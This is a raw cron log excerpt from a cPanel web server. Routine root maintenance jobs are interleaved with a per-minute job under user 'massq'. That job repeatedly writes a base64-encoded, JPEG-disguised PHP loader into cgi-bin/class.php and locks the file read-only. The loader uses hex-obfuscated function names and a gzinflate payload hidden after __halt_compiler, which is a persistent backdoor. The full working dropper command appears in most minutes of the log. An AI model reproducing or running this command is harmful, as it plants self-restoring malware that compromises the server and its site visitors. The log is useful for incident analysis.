Sep  8 23:28:01 server CROND[1608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:28:01 server CROND[1609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:29:01 server CROND[2024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:29:01 server CROND[2026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:29:01 server CROND[2025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:30:01 server CROND[2416]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 23:30:01 server CROND[2417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:30:01 server CROND[2419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:30:01 server CROND[2425]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:30:01 server CROND[2424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:30:01 server CROND[2426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:30:01 server CROND[2427]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:30:01 server CROND[2428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:31:01 server CROND[3287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:31:01 server CROND[3288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:31:01 server CROND[3289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:32:01 server CROND[3778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:32:01 server CROND[3779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:32:01 server CROND[3780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:33:01 server CROND[4172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:33:01 server CROND[4173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:33:01 server CROND[4174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:34:01 server CROND[4558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:34:01 server CROND[4559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:34:01 server CROND[4561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:35:01 server CROND[4965]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:35:01 server CROND[4966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:35:01 server CROND[4969]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 23:35:01 server CROND[4971]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 23:35:01 server CROND[4975]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 23:35:01 server CROND[4972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:35:01 server CROND[4973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:35:01 server CROND[4978]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:35:01 server CROND[4974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:36:01 server CROND[5816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:36:01 server CROND[5817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:36:01 server CROND[5818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:37:01 server CROND[6292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:37:01 server CROND[6294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:37:01 server CROND[6293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:38:01 server CROND[6669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:38:01 server CROND[6670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:38:01 server CROND[6671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:39:01 server CROND[7045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:39:01 server CROND[7046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:39:01 server CROND[7047]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 23:39:01 server CROND[7048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:40:01 server CROND[7432]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:40:01 server CROND[7433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:40:01 server CROND[7434]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:40:01 server CROND[7437]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
